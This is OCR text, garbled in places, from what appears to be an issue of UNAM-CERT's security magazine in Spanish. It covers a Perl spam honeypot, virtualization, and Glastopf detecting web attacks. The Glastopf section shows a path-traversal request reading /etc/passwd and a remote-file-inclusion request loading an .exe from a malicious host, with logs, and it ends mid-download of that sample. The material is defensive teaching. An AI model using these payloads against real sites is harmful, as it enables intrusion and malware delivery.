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Emulacion con honeypots

Deteccién, captura y analisis

Desde finales del siglo pasado en el entonces
reciénfundado Honeynet Project, elideal de “emular”
un servicio real a través de herramientas honeypot
se ha quedado en eso hasta nuestros dias, un suefio
que aun esta por llegar.

¢ Malas noticias? Para nada, pues hemos obtenido
ya avances relevantes. Podemos hablar, por
ejemplo, del uso de IDS e IPS como parte de una
estrategia de seguridad; de la diversificacion de
honeypots y su apoyo al estudio de técnicas de
ataque; o de la base de conocimientos que
organizaciones sin fines de lucro, universidades,
gobiernos y sectores privados a nivel global se han
desarrollado a raiz de estos.

Para acercarte mas a estos logros, estudiamos tres
honeypots, uno enfocado a detectar servicios de
spam, otro a distribucién de malware por USB y la
segunda parte de Glastopf, honeypot para
aplicaciones web.

Pero no son sélo los honeypots el tema que se
aborda en esta edicion, por su parte, abordamos el
tema de las alternativas dentro de la virtualizacion y
encontraras también que los atacantes han hecho
lo suyo al disfrazar malware en archivos de imagen.

Finalmente, ofrecemos una aproximacién al derecho
informatico y a los conceptos modernos de “delito”.
Esperamos que disfrutes de esta lectura y, sobre
todo, que el conocimiento que nuestros autores
ofrecen sea en beneficio de los sistemas y de las
personas que los utilizan.

Jazmin Lopez Sanchez
Editora
Coordinacién de Seguridad de la Informacién
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Implementacion de un spampot
para la captura de correo
electronico no deseado

Miguel Raul Bautista Soria

Desde hace varios anos se han descubierto
muchas amenazas enfocadas a enviar correo no
deseado utilizando servidores de correo sin
configuracion de seguridad previa, lo que
permitia enviar correo por medio de un
retransmisor abierto, 0 como se conoce eninglés
Open Relay, de ahi surge la necesidad de
capturar el correo electronico no deseado
simulando un servidor con las caracteristicas
mencionadas anteriormente para asi detectar y
mitigar las amenazas hacia servidores de correo
electrénico.

Un Open Relay es un servidor de correo
electronico SMTP (Simple Mail Transfer
Protocol) que permite el envio y recepcion de
mensajes de correo electronico a clientes ajenos
al servidor, es decir, los mensajes de correo no
seran enviados o recibidos por algun usuario
local en el servidor (Rouse, 2005).

Debido a que no hay un control en estos
mensajes, se puede enviar una gran cantidad de
correo electrénico no deseado y es claro que la
mayoria de estos mensajes de correo contienen
enlaces a sitios fraudulentos, robo de creden-
ciales, archivos maliciosos, entre otras cosas.

Ante este panorama, es necesario crear
herramientas para detectar aquellos equipos en
Internet que busquen y se aprovechen de
servidores de correo electrénico mal configu-
radosy que puedan ayudar a enviar spam a miles
de usuarios en Internet.

Paracello, es necesario desarrollar e implementar
una herramienta que capture, analice y ayude a
identificar el origen o destino de los correos
electronicos no deseados al buscar patrones
como nombres de usuario, direcciones de correo
electrdnico, direcciones IP, asuntos de correo,
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nombres de dominio, URL, software malicioso o
cualquier otro patron que se especifique o
requiera.

En este articulo se hablara de la herramienta
spampot, un honeypot enfocado en las tareas
mencionadas anteriormente.

La implementacion de spampot requirié
desarrollar un honeypot, un recurso de seguri-
dad informética utilizado para detectar y capturar
ataques. Su importancia reside en la forma de
ser analizado, atacado o comprometido
(Spitzner, 2002, p. 24).

Para obtener grandes resultados, el spampot
necesita colocarse en una red conectada
directamente a Internet, es decir, estar expuesto
para recibir cualquier conexion que cumpla con
los requisitos para enviar un correo electronico
por medio del protocolo SMTP. También
requiere una base de datos para almacenar y
consultar la informacion maliciosa de los correos
electrdnicos recibidos.

Para el desarrollo de esta herramienta se
requirieron de algunos otros conocimientos en
protocolos de red, programacion, bases de datos
y conceptos aplicados de seguridad informatica.
A continuacién se describen los requisitos
técnicos necesarios para el funcionamiento de
esta herramienta.

1. Honeypots

El término honeypot es una palabra compuesta
del inglés: honey (miel) y pot (tarro), su signifi-
cado es “tarro de miel”. El concepto hace
analogia a lo llamativo que puede ser un tarro de
miel para pequenos insectos o animales
voladores (los “intrusos”) que se aprovechan de
esta miel sin ninguna restriccion.

Los honeypots se clasifican en dos tipos: alta 'y
bajainteraccién. En la siguiente tabla se enfatiza
de forma clara y sencilla las clasificaciones de
los honeypots.

CARACTERISTICAS/ BAJA INTERACCION ALTA INTERACCION
TIPO

Instalacion Facil No tan facil

Mantenimiento  Facil Requiere mucho
tiempo

Riesgo Bajo Alto

¢Requiere No Si

control?

Informacién Limitada Bastante

recolectada

Tipo de Servicios Control total

interaccion emulados

Tabla 1. Tipos de honeypots

El spampot desarrollado es un honeypot de baja
interaccion en donde se emula el servicio de
SMTP y se analiza toda la informacion recibida.

En la Figura 1 se muestra la ubicacion l6gica de
la herramienta dentro de una red de investiga-
cion de ataques, en la cual se reciben todas las
direcciones IP que no estan asignadas a un
equipo dentro de una red corporativa o de
produccion, es aqui cuando el servidor en donde
se ejecuta la herramienta contesta a cualquier
peticion de conexion en el puerto 25 y toda la
informacion recolectada se considera poten-
cialmente maliciosa, porque esta destinada a
direcciones IP que no deberian intercambiar
informacion debido a que no han sido asignadas
todavia.

Figura 1. Ubicacién légica (sugerida) en una red
corporativa o de investigacion

2. Programacion concurrente y sockets

Un socket (Guevara Soriano, 2010) es la
combinacion Unica de una direccién IP y un
namero de puerto. La direccion IP del socket
puede ser una direccion publica o privada, pues
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dependera del servicio que se quiera brindar. El
numero de puerto puede estar entre 0 y 65535,
siempre y cuando ese numero de puerto no esté
ocupado en elequipo endonde se desee ejecutar
el socket, por algun otro proceso o restringido
dentro de los nUmeros de puertos reservados por
la IANA.

Para el caso de esta herramienta, se implementd
un socket que lanza el servicio de SMTP en el
puerto 25 de TCP en la direccion IP del equipo
en donde se ejecuta, utilizando programacion
concurrente en hilos para atender a todos los
clientes que requieran interactuar con este
servicio. Cada hilo contesta a un unico cliente e
intercambia con aquel la informacion necesaria,
la cual es recolectada para un analisis posterior.

3. Modelo TCP/IP

El modelo TCP/IP es el protocolo de conexidn
utilizado en la mayoria de los servicios de red en
Internet. Sus siglas significan Transmission
Control Protocol/Internet Protocol (Protocolo de
Control de la Transmision/Protocolo de Internet)
y es el encargado de transmitir la informacion
entre un cliente y un servidor en pequefos trozos
de informacion llamados paquetes (Socolofsky,
1991).

En el desarrollo de esta herramienta se utiliza el
modelo TCP/IP, pues el intercambio de infor-
macion para la recoleccidn de correo electronico
no deseado debe ser confiable y sin fallas, ya
que al estar simulando un servidor de correo
electrénico se debe proveer total credibilidad a
la conexidn y a la transmisién, asi como respon-
der de forma correcta a las peticiones de reinicio
o cierre de conexidn por medio de las banderas
TCP.

4. EIRFC 821 de SMTP

El funcionamiento basico, secuencia de
comandos y forma de ejecucion del protocolo
SMTP (Simple Mail Transfer Protocol) esta
definido y claramente explicado en el RFC
(Request For Comments) 821, desarrollado por
Jonathan B. Postel en agosto de 1982. Un RFC
es un documento técnico en donde se plantea el
desarrollo y funcionamiento de un protocolo
estandar de Internet.
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Dentro del RFC se explica que el objetivo
principal del SMTP es transmitir correo
electronico de manera confiable y eficiente
basandose en un modelo de comunicacion de
dos vias entre un usuario remitente y un usuario
destinatario, ambos de correo electronico,
utilizando comandos. Es importante destacar
que el usuario destinatario puede también ser
un intermediario que unicamente redirigira el
correo al usuario final. Véase Figura 2.
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Figura 2. Modelo parael uso de SMTP

En el desarrollo de esta herramienta se utilizé el
mismo modelo y los siguientes comandos
basicos que utiliza SMTP para enviar un correo
electronico (Postel, 1982):

* HELO (HELLO): Utilizado por el emisor para
iniciar una sesién de envio y recepcion de
correos. Es unaespecie de presentacion entre
ambos usuarios.

* MAIL: Comando que indica el inicio de una
transaccion que involucra el envio de
informacion através de un correo electrdnico.

+RCPT (RECEIPT): Es el comando que indica
el usuario que sera el receptor del correo
electrdnico.

+RSET (RESET): La utilidad de este comando
es abortar la transaccion actual de correo
electronico y limpiar la memoria y comandos
recibidos.

+ DATA: Comando que permitira enviar la
informacion del emisor, tal como direccidén de
correo electrénico, asunto del correo,
direcciones de correo a los cuales copiar y
cuerpo del mensaje.

* QUIT: Se utiliza para finalizar la sesion y
cerrar la conexion con el receptor.

* VRFY (VERIFY): Comando utilizado para
mostrar la informacién especifica de un
usuario como su nombre completo y el
identificador de su bandeja de correo.

e T
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« EXPN (EXPAND): Similar a VERIFY pero
dirigido a listas de correo, es decir, mostrara
atodos los usuarios miembros pertenecientes
a una lista de correo.

« HELP: Comando para mostrar al emisor la
ayuda y la sintaxis de uso de los comandos
que utiliza el receptor.

5. Base de datos MySQL

MySQL es un sistema manejador de bases de
datos relacionales, es decir, almacena la
informacion de las bases de datos en tablas
separadas logicamente. Este modelo permite la
creacion de objetos que pueden ser bases de
datos, tablas, vistas, renglones y columnas, una
caracteristica que le permite integrarse a un
modelo de programacion bastante efectivo. La
estructura de las bases de datos esta organiza-
da en archivos fisicos optimizados para dar un
mejor rendimiento.

En el desarrollo de esta herramienta se requiere
almacenar una gran cantidad de informacion
para su posterior consulta. Toda esta informa-
cion, formada por direcciones IP, puertos de
comuni-cacion, marcas de tiempo, nombres de
usuario, nombres de dominio, patrones de correo
maliciosos, enlaces a recursos en Internet y
firmas de integridad de archivos, es almacenada
en una base de datos dentro de MySQL.

6. Perl

Es un lenguaje de programacion de alto nivel,
compilado e interpretado (a la vez). Fue creado
en 1987 por Larry Wall, un programador y
linglista de la Universidad de California en
Berkeley. Dentro de las caracteristicas de Perl
destacan el facil manejo de numeros, cadenas
de caracteres, archivos, carpetas y sockets. Sus
siglas significan: Practical Extraction and
Reporting Language o Lenguaje Practico para
Extraccién y Reportaje (Wall, 2014).

El spampot es una herramienta para captura y
analisis de correo electronico no deseado
desarrollada en Perl que implementa una serie
de mddulos o subrutinas para realizar las
funciones esenciales de la herramienta, es decir,
crear un socket de red, asociarlo a una direccion

IP y un puerto de red, simular los comandos de
SMTP vy las respuestas a cada uno de ellos,
almacenar la informacion de cada conexion en
un archivo de texto plano cuyo nombre estara
dado de acuerdo a la direccion IP y una marca
de tiempo con el objetivo de registrar a qué hora
se realizo la conexién y hacia qué direccion IP
destino.

El archivo de texto plano que contiene la
informacion del correo electrénico no deseado
sera analizado por la misma herramienta para
buscar patrones predefinidos de nombres de
usuarios, correos electronicos, URL y nombres
de dominios o asuntos, para después hacer un
conteo de cada patrdn y almacenarlo en una
base de datos por medio de un conector de
MySQL.

Hasta este punto, se han definido y detallado las
herramientas, conceptos y requerimientos para
desarrollar un spampot. En pocas palabras, se
requiere programar en lenguaje Perl un socket
de red como honeypot para que atienda peticio-
nes en el puerto 25 del protocolo TCP en una
computadora. El socket respondera a todas las
solicitudes que cumplan con el RFC 821 para
envio de correo electronico a través de un Open
Relay. Toda la informacion recibida sera
almacenada en una base de datos MySQL para
su posterior andlisis y consulta.

En la segunda y ultima parte de este articulo se
mostraran las formas de ejecucion de la
herramienta y un analisis de los resultados de
ejecucion obtenidos por ella en una red abierta
a Internet.

Guevara Soriano, A. (2010). Conceptos béasicos de
Arquitectura Cliente/Servidor. Concurrencia,
Multiprogramacién y Multitarea.

Postel, J. B. (agostode 1982). Simple mail transfer protocol.
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https://www.ietf.org/rfc/rfc821.txt
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La virtualizacion como alternativa

Mario Alejandro Vasquez Martinez, José Daniel Campuzano Barajas

Muchas veces al oir la palabra virtualizacién se
suele pensar en un tipo de tecnologia avanzada
enfocada Unicamente a expertos con conoci-
mientos de informatica o personas que estan
relacionadas con la computaciony los sistemas.

No obstante, este recurso puede ser apro-
vechado e implementado por la mayoria de los
usuarios con el fin de incrementar el uso de
herramientas, apoyarse de nuevas tecnologias
y solventar con ellas diferentes necesidades que
puedan presentarse en el dia a dia de cada
persona.

La virtualizacién es una herramienta que fun-
ciona como cualquier otro programa (procesador
de texto, navegador de Internet, reproductor de

musica, etcétera), con la diferencia de que se
ejecuta sobre un entorno que no es fisico, es
decir, en el sistemaoperativo principal (Windows,
GNU/Linux, MacOS) de una computadora.

La virtualizacion permite instalar y hacer uso de
un sistema operativo nuevo, el cual puede
interactuar con los recursos que se le asignen,
ya sean virtuales o fisicos. Actualmente existen
soluciones que simplifican este trabajo
(VMWare, Oracle, Hyper-V, entre otros) por lo
que su uso es sencillo, seguro y amigable.

EnlaImagen 1 se puede ver un ejemplo, en este
se tiene un sistema operativo Windows
ejecutando dentro de si un sistema operativo
diferente.

Lo anterior permite contar con entornos virtuales
a los que se les asigna recursos fisicos o virtua-
les de la computadora (CPU, memoria, disco
duro, red).




Imagen 1. Ejemplo de un equipo GNU/Linux ejecutandose
dentro de Windows

1. Hosted

Aqui inicialmente se tiene un sistema operativo
(anfitrién) yainstalado enla computadora, dentro
de este se instala un programa (también cono-
cido como capa de virtualizacidén) que se
encargara de asignar o crear los dispositivos
virtuales que necesite el entorno virtual a partir
delosrecursos disponibles del sistema operativo
anfitriébn, paraqueelentornovirtualpuedarealizar
las mismas funciones que el sistema operativo
anfitrion.

El programa permite asignar recursos asi como
virtualizarlos sobre una capa de software,
posteriormente se encargara de su
administracion sin que el entorno virtual acceda
directamente a ellos. Ver Imagen 2.

Imagen 2. Esquema de virtualizacion de host

Existen bastantes opciones para implementar
este tipo de virtualizacién, las mas populares son
VMware Workstation y Virtual Box; la primera es
una solucién de paga, mientras que la segunda
se encuentrabajolalicencia GNU General Public
License (GPL) versiéon 2. Para mas informacién
consultar las referencias al final del articulo.

2. Unhosted

En este tipo de virtualizacion, a diferencia del
anterior, el software para virtualizar interactua
de manera directa con los recursos disponibles
de la computadora. Lo hace a través de un
programa llamado Hipervisor o Virtual Machine
Monitor (VMM), que se encargara de propor-
cionar los recursos fisicos cuando los entornos
virtuales lo requieran. Debido a la inexistencia
de inter- mediarios a esta virtualizacion se le
consideramas limpiay rapida que lamencionada
en el punto anterior. Ver Imagen 3.

HIPERVISOR (VMM) |

Imagen 3. Esquema de virtualizacion nativa

Existen bastantes soluciones de este tipo en el
mercado, una de ellas es Hyper-V, la cual se
puede implementar en equipos Windows Server
2012, Windows 8.1 Pro o posteriores. Para
conocer mas sobre este tipo de virtualizacion
consulta las referencias al final del articulo.

La virtualizacion permite contar con mas de un
sistema operativo en una computadora y cada
uno de ellos puede hacer uso de recursos que
el sistema operativo base (anfitrion) no ocupa.

S .Seguridad UNAMCERT

6n para TI

a de prevenci

Cultur



Ademas de esto se cuenta con otro tipo de
beneficios, como son:

Crearentornos de pruebaaislados. Se pueden
implementar multiples entornos virtuales con
servicios separados, es decir, ejecutar diferentes
tareas o programas dedicados en cada uno de
ellos. Con lo anterior se puede garantizar que si
algun servicio se ve afectado no tenga reper-
cusiones en los demas entornos.

Probar sistemas operativos. Si se quiere
experimentar con sistemas operativos donde no
se tiene experiencia, sin verse en la necesidad
de reinstalar o cambiar la configuracion del
equipo propio, se puede optar por la virtualiza-
cion y ejecutar diferentes sistemas operativos
como Windows, GNU/Linux, OpenBSD y Unix,
entre otros.

Instalar herramientas. Existen aplicaciones
que solo se pueden ejecutar o funcionar
adecuadamente en ciertos sistemas operativos,
la virtualizacion permite utilizar la aplicacion bajo
el sistema para el cual fue disefiado sin hacer
uso de un equipo de computo diferente.

Aprovechamiento de recursos. Regularmente
un usuario no ocupa todos los recursos con los
que cuenta su equipo de computo, al virtualizar
se pueden aprovechar de manera 6ptima.

Reduccidén de costos de operacién. Contar
con multiples equipos genera costos de mante-
nimiento y operacion, con la ayuda de la
virtualizacion es posible reducir la cantidad de
equipos y por ende los gastos derivados de su
operacion.

Imagen 4. Mdltiples entornos en un mismo equipo

Si bien el objetivo es contar con multiples siste-
mas operativos pararealizardistintastareas, esto
podria tener inconvenientes al establecer un
punto unico de fallo. Lo anterior quiere decir que,
aunque los entornos virtuales no son dependien-
tes entre si, estan directamente ligados a la
disponibilidad y rendimiento del equipo de
computo, pues existe un limite de entornos que
se pueden ejecutar paralelamente y gestionar de
manera Optima.

Hay casos donde el sistema anfitridon se vuelve
inestable (se ralentiza, muestra errores, se
calienta, etcétera) por lo que hay que asegurarse
de que el equipo cuenta con los recursos
suficientes para hacer uso de la virtualizacion.

Si bien se menciona en los puntos anteriores
como ventaja la reduccién de costos de opera-
cién, hay que tener en cuenta que invertir en
virtualizacion puede representar un gasto
significativo a corto plazo, porque se necesita
invertir en equipo de cOmputo nuevo que soporte
la cantidad de entornos virtuales requeridos.

En la actualidad los sistemas virtualizados junto
con los sistemas fisicos forman parte de una
mezcla de entornos computacionales que se
emplean en diferentes ambitos, desde escuelas
hasta empresas, por lo que el personal de Tl
debe enfrentar retos de seguridad.

Es necesario mencionar que en la actualidad un
entorno virtual se encuentra expuesto a los
mismos problemas de seguridad que los
entornos fisicos y enfrenta retos de proteccion
de la informacion que son especificos.

La industria de seguridad de la informacion ha
cambiado con este tipo de tecnologia. Por ejem-
plo en los firewalls comerciales podemos
observar un cambio de paradigma, donde la
adquisicion de este tipo de soluciones no es a
través de un equipo fisico y dedicado, sino de la
integracion con la infraestructura virtual.

La virtualizacién en conjunto con proyectos de
codigo abierto (Open Source) permite

= .Seguridad UNAMCERT
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implementar soluciones como firewall e IDS/IPS
(Sistemas de Deteccidn de Intrusos y Sistemas
de Prevencidn de Intrusos), con una reduccidn
de gastos durante la adquisicién de equipos en
comparacion con soluciones comerciales. Lo
anterior representa una oportunidad de mejora
para PYMEs e instituciones educativas intere-
sadas en proteger sus activos de informacion,
donde el presupuesto puede ser limitado.

En resumen, virtualizar ayuda a aprovechar
mejor los recursos de una computadora, ampliar
las herramientas disponibles y reducir tanto el
espacio fisico como los costos de operacién al
no tener varios equipos. Sin embargo, hay que
tener claro cuales son las capacidades de
nuestros equipos de coOmputo actuales, ya sea
los de nuestra organizacion o personales, para
saber si la virtualizacién es una opcion viable a
nuestras necesidades y cual es el esquema de
virtualizacion que mas nos conviene.
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Glastopf: Honeypot de aplicaciones
web — |l

Sergio Anduin Tovar Balderas

En el articulo anterior se presento la implemen-
tacion de un honeypot de baja interaccion para
aplicaciones web capaz de emular multiples
vulnerabilidades. En él se incluyeron los re-
quisitos necesarios para su instalacién,
configuracién y ejecucion.

De acuerdo al Top 10 de OWASRP las fallas de
validacion, como inyeccion SQL (SQL Injection),
se encuentran en primer lugar en la quinta
edicion del reporte de ataques a aplicaciones
web (WAAR por sus siglas en inglés) de
IMPERVA. Dentro de los hallazgos clave de este
estudio se puede observar que hubo un
incremento de 10% de ataques de inyeccion SQL
(SQLi) y un aumento de 24% en ataques de
inclusion remota de archivos (RFI). Dentro de los
blancos de los atacantes se encuentran
aplicaciones web, instituciones financieras,
sistemas de administra- cion de contenidos
(CMS) como Wordpress y aplicaciones PHP.

Esta segunda parte del articulo publicado en la
Revista .Seguridad presentara diversos ataques
que Glastopf puede detectary analizar, asi como
donde se almacenan estos eventos. Ademas se
mostrara cédmo utilizar lainformacionrecolectada
por el honeypot para aprovecharla y mejorar la
seguridad tanto en las aplicaciones web como
en el perimetro de la red en general.

Glastopf es capaz de emular diversos tipos de
vulnerabilidades dentro de las que se
encuentran:

+ Insercién local de archivos (Local File
Inclusion): También conocido como LFI, es el
proceso de incluir archivos que estan alojados
en el servidor a través de la explotacion de
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procedimientos de inclusion vulnerables implementados en la aplicacién. Provoca la exposicion de
informacion sensible, ejecucidén de cddigo en el servidor, entre otros.

* Insercién remota de archivos (Remote File Inclusion): También conocido como RFI, es el
proceso de incluir archivos remotos a través de la explotacion de procedimientos de inclusion
vulnerables implementados en la aplicacion. Esto puede causar ejecucion de cddigo en el servidor,
divulgacion de informacion, denegaciones de servicio, entre otros.

+ Inyeccion SQL (SQL Injection): También conocido como SQLi, consiste en la inyeccion de una
consulta SQL a través de los datos de entrada de la aplicacion del cliente, por ejemplo: formularios,
variables GET, variables POST, etcétera. Una inyeccién SQL puede leer, modificar, actualizar y
eliminar datos o incluso la base de datos.

El siguiente diagrama muestra cdmo Glastopf es capaz de identificar el tipo de ataque y generar
una respuesta para simular el ataque con éxito. Cuando se presenta un ataque, el servidor web del
honeypot identifica el método HTTP; en el caso del método GET, clasifica el ataque en RFI, LFI,
indice (archivo principal de un sitio 0 pagina) o desconocido. Posteriormente, si el atacante intenta
un ataque de tipo Local File Inclusion para obtener informacidn del sistema, Glastopf consultara y
mostrara el archivo passwd, shadow o group alentando nuevos ataques donde cada uno sera
registrado. Si no puede identificar el ataque, lo clasifica como desconocido y lo registra.

La Figura 1 muestra todo el proceso y proporciona una vision detallada sobre cémo los componentes
trabajan juntos.

.Seguridad UNAMCERT
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http://localhost/

En esta seccidon se muestra como Glastopf simula, procesa, registra y captura los ataques de
inclusién local y remota de archivos. Se muestran ejemplos sobre cémo simula dos tipos de
vulnerabilidades:

+ LFI (Local File Inclusion)
El atacante solicita la URL incluyendo un archivo del sistema:

El archivo vulnerable index.php contiene la variable file permitiendo como entrada la ruta del archivo
passwd que se encuentra en el servidor con direccion IP 10.0.0.128.

Ataque
Se presenta el ataque de tipo LFl através de un navegador web donde se muestra el archivo passwd
del servidor web que contiene la informacion de las cuentas de usuario del sistema.

lceweasel

| http://10.0...../etc/passwd % | 4

, ¥ 10.0.0.128/index.php?file=../../../../etc/passwd v » =

root::0:0:root:/rooty/bin/bash daemon::1:1:daemon:/usr
/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys::3:3:5ys:/dev:
/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var
/cache/man:/bin/sh lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool
mews:/bin/sh uucp::10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-
data:/varfwww:fbin/sh backup:x:34:34:backup:/var/backups:
/bin/sh list:38:38:Mailing List Manager:/fvar/list:/bin/sh
irc:x:39:38:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/monexistent:/bin/sh
libuuid:=x:100:101 ::/var/lib/libuuid:/bin/sh Debian-
exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/shin/nologin
jpu:x:1438:1438::/home/jpu/:/bin/sh rbf:x:1493:1493::/home
[rbff:/binfsh vfy3:1262:12682:./home/viy/:/bin/sh
pem:x:1311:1311=/home/pem/:/bin/sh 1ux:x:1297:1297::/hom}
fiux/:/binfsh wat3t:1254:1254::/homefwat/:/bin/sh
Jin:=x:1358:1358::/home/jin/:/bin/sh uap:x:1304:1304::/home
Juap/:/bin/sh

Imagen 1. Respuesta de Glastopf ante un ataque LFlI

Bitacoras
El evento se registra en la bitacora y en la base de datos. En la bitacora se puede observar la
solicitud (ataque tipo LFI) y en la base de datos se consulta el evento.

.Seguridad UNAMCERT

—_
(6]



stovar@honay: = x

Eil Ldis 4 b Tooooioo) blos

oot@hanay : fopt/honaypot-glastopfd tail -f logsglastopf.log

Py by e . topf 3.1.3-dev using "/fopt/honeypot-glastopf” as work directory.
2815-06-24 97:56:50,342 (glastopf.glastopf) Connecting to mein databasa with: mysqgl://glastopfuser:glastopfuser@localhost/glestepf
|2015-86-24 @7:56:51,0825 (glastopf.modules. handlers.esulators.dork_list.dork_page_generator) Bootstrapping dork database.
12815-66-24 07:57:28,854 (glastopf.modules.handlers.emulators.dork_list.databasa_sqgla) Done with insert of 5696 dorks into the database.
2615-85-24 A7:57:21,049 Jolastoof Slastonfl Slastocs srariod aod orduilaoes droooed
|2815-86-24 G67:57:25,547 lglastopf.glastopf) 18.0.6.1 requested GET /findex.php?file=../../../../etc/passwd on honey.cart .unam.mx:80
2815-B6-24 87:57:25,9066 || glastopf .modules handlers .emulators.dork_list._database_sgla) Done with insert of 1 dorks into the database.
|2015-66-29 @7i57:26,004 TOIOS oD OIS T T T BE T av Tt o ey e . e e
2015-06-24 @7:57:26,184 (glastopf.glastopf) 18.0.8.1 requested GET /favicon.ico on honey.cert.unam.sx B0
|2815-66-24 @7:58:41,798 (glastopf.glastopf) Stopplng Glastopf.

1

Imagen 2. Bitacora de Glastopf

Se realizan dos consultas al mismo evento, en la primera se muestran el identificador, marca de
tiempo, direccion y puerto origen, URL de la solicitud, patrén de ataque y nombre de archivo. En

la segunda se puede apreciar la solicitud completa del ataque. El patron del evento registrado nos
indica que el tipo de ataque es LFI.

stovar@honay: = s

| Fike Edit Wiew Search Terminal Help
mysql> select id,time,source,request_url pattern,fllename from events whers id=l;

e e - mm e - ——— e e T - - B e e T 2
| 1d | time | source | request_url | pattern | filesnams |
| MRS e S e P L it iy e et e S R R S AR o S S SRR P S T A 2oL pu R PE S RS +
| 1| 2015-86-24 B7:57:25 | 18.8.0.1:37796 | sindex.php?file=../../../. fetc/passwd | 1fi | NULL |
B et i s e i T B et e +
1 row in set [8.00 sec)

.mysq'L} ’

Imagen 3. Registro de un ataque de tipo LFI

stovar@honey: = x

| File Edit View Search Terminal Help
mysql> select request _raw from events where id=1;

| GET /index.php?file=../../../.. /etc/passwd HTTP/1.1

Accept: text/html,application/shtmlexml,application/sml;g=0.53,%/%;q=0.9 1
tccept-Encoding: gzip, deflate

Accept -Language: en-US,en;g=0.5

Conmection: keep-alive

Host: 10.6.0.128

....................................

1 row in sat (8.00 sec)

mysgl= | l

Imagen 4. Solicitud completa del ataque
* RFI (Remote File Inclusion)

El atacante solicita la URL incluyendo un archivo en la
http://IPoDominioMalicioso/archivo malicioso.exe:

El archivo vulnerable index.php contiene la variable file que permite como entrada la URL maliciosa
que apunta al archivo k1.exe ubicado en el servidor remoto (IPoDominioMalicioso).

Ataque
A continuacién se presenta el ataque de tipo RFI a través de un navegador web:

Cultura de prevencién para TI
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Imagen 5. Respuesta de Glastopf ante un ataque RFI

Bitacoras
En la bitacora se puede observar la solicitud (ataque tipo RFI) y en la base de datos se consultara
el evento.

| stovar@honay: ~ |¢,--|
| Fite _Edit _View Search Terminal Help |
oot @honey : /opt/henaypot -glastopfd tall -f -n @ log/glastopf.log

uup o D o e o o e 3.1.3-dev using "/opt/honeypot-glastopf” as work directory.
|2815-86-24 GB:65:02,645 -;g'lastopf g‘lastnpfﬁ Connecting to main database with: mysgl://glastopfuser:glastopfuser@localhost/glastopf
12015-86-24 08:05:02,876 [glasteafdlasioall Dastani slaciad and ooiuilsges dronnsd
(2815-66-24 G8:85:20,948 H{glastopf.glastopf) 19.0.8.1 requested GET /index.php?file=http:/ www. com/kl.exa on honay,cert . unam.m:x 83
|2815-06-24 @8:85:24,222 Jlglastopf .sandbox .sandbox] File successfully parsed with sandbox.
|2815-66-24 0B:85:24,332 N glastopf .modules.handlers.esul stors.dork_list.database_sgla) Done with insert of 1 dorks into tha databasa.
|2615-66-24 08:65:35,006 TOTISTONT QUISTONTT SIOPOLNY OractopT:
[

root @honey : fopt /honaypot -glastop f# I

Imagen 6. Bitacora de Glastopf

Se realizan dos consultas al mismo evento, en la primera se muestra el identificador, marca de
tiempo, direccion y puerto origen, URL de solicitud, patron de ataque y nombre de archivo. Por otro
lado, la segunda consulta muestra la solicitud completa del ataque. El patrén del evento registrado
nos indica que el tipo de ataque es RFl. Ademas, como se vera mas adelante, se puede ver el
nombre del archivo que coincide con el MD5 del archivo capturado por el honeypot.

stovar@honay: ~ | =
| Fite Edit Wiew Search Terminal Help
m'.'sq1= selact id,tima, sourt,e request_url pattem filename from events whera id=4;

I e i e it v T A i B T i i ST 8 ey I A s o A M I e B SR e s S e e E A A e A R i md A A AT e e "
Il 1d | tima | S0UTCE | request_url | pattarn | filanama |
$bssssdesccssscscannssssssss prescssmansssssna= R i e $rsscsnma= I +
| 4] 2615 66 24 83 B5:20 | 16. G o. 1 3?8@1 | #Mdek th‘fll.a=htto R «comfkl.exe | rfi | cBl173343221c5641cafiizbdiedal3ce |
| e T “saa e e L e R T

|1 row Ln set cﬂ Btb secr

mysal= |
Imagen 7. Registro de un ataque de tipo RFI

stovar@honay: ~ [
| File Edit View Search Terminal Help |
m',-'sq'L:a- selact reguest_raw from events where id=4;

| GET /indax. php7f Te=shttp: /e . a ccomfkl.exe HTTR/1.1

|hccept: text/himl,application/xhiml+xml,application/=ml q=0.5,%/*:q=0.8 I

|hccept -Encading: gzip, deflate

|hccapt -Language: en-US,en;q=0.5

Connection: keep-alive

|Host: 10.0.0.128

User-Agent: Mozillas5.8 (X11; Linux xBE 64; rv:31.8) Gecko/28180181 Firefox/31.8 Iceweasel/31.4.48 |

1 row in set (8.00 sec)

mysql= l

Imagen 8. Solicitud completa del ataque
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Se observa en la solicitud como se inserta la URL maliciosa donde se encuentra el archivo, que
podria ser algun tipo de malware, script, web shell o algun otro.

Ademas de almacenar el evento en la bitacora y la base de datos, el honeypot descarga el archivo
kl.exe (en este caso de la URL maliciosa) y lo guarda en el directorio data/files/ dentro del directorio
de instalacién de Glastopf (/opt/honeypot-glastopf/), ademas lo nombra con su firma MD5.

stovar@honey: ~
| File Edit Veew Search Terminal Help
{root@honey : fopt/honeypot -glastopf# 1s -1 datas/files
total 506
MW------- 1 nobody nogroup 5128008 Jun 24 0B:05 c0173343221c5641cafi32bdbedeice

roat@honey : fopt/honeypot -glastopfs |

Imagen 9. Archivo capturado por Glastop

Para corroborar que el archivo que captur6 Glastopf es el mismo de la URL maliciosa, se descarga
en el directorio y se obtiene la firma MD5 de los dos archivos.

stovar@honey: ~ x|

File Edit View Search Terminal Help

root@honey:/opt/honeypot -glastopf/data/files# pwd
Jopt/honeypot -glastopf/data/files

root@honay :/opt/honeypot -glastopf/data/files# 1s
cB0173343221c5641caf932bdledeZ3cc

root@honey : /opt/honeypot -glastopf/data/ files?# wget waet http://www. .com/kl.exe
--2015-06-24 68:11:58-- http://wget/

Resolving wget (wget)... failed: Name or service not known.

wget: unable to resolve host address ‘wget’

--2015-06-24 68:11:58-- http://www. ‘“w .com/kl.exe

Resolving www.markazigo.com (www. .com)... 185.87.120.115

Connecting to www.markazigo.com (www. .com) |185.87.120.115|:80... connacted.
HTTP request sent, awaiting response... 200 0K

Length: 512088 (50GK) [application/x-msdownload]
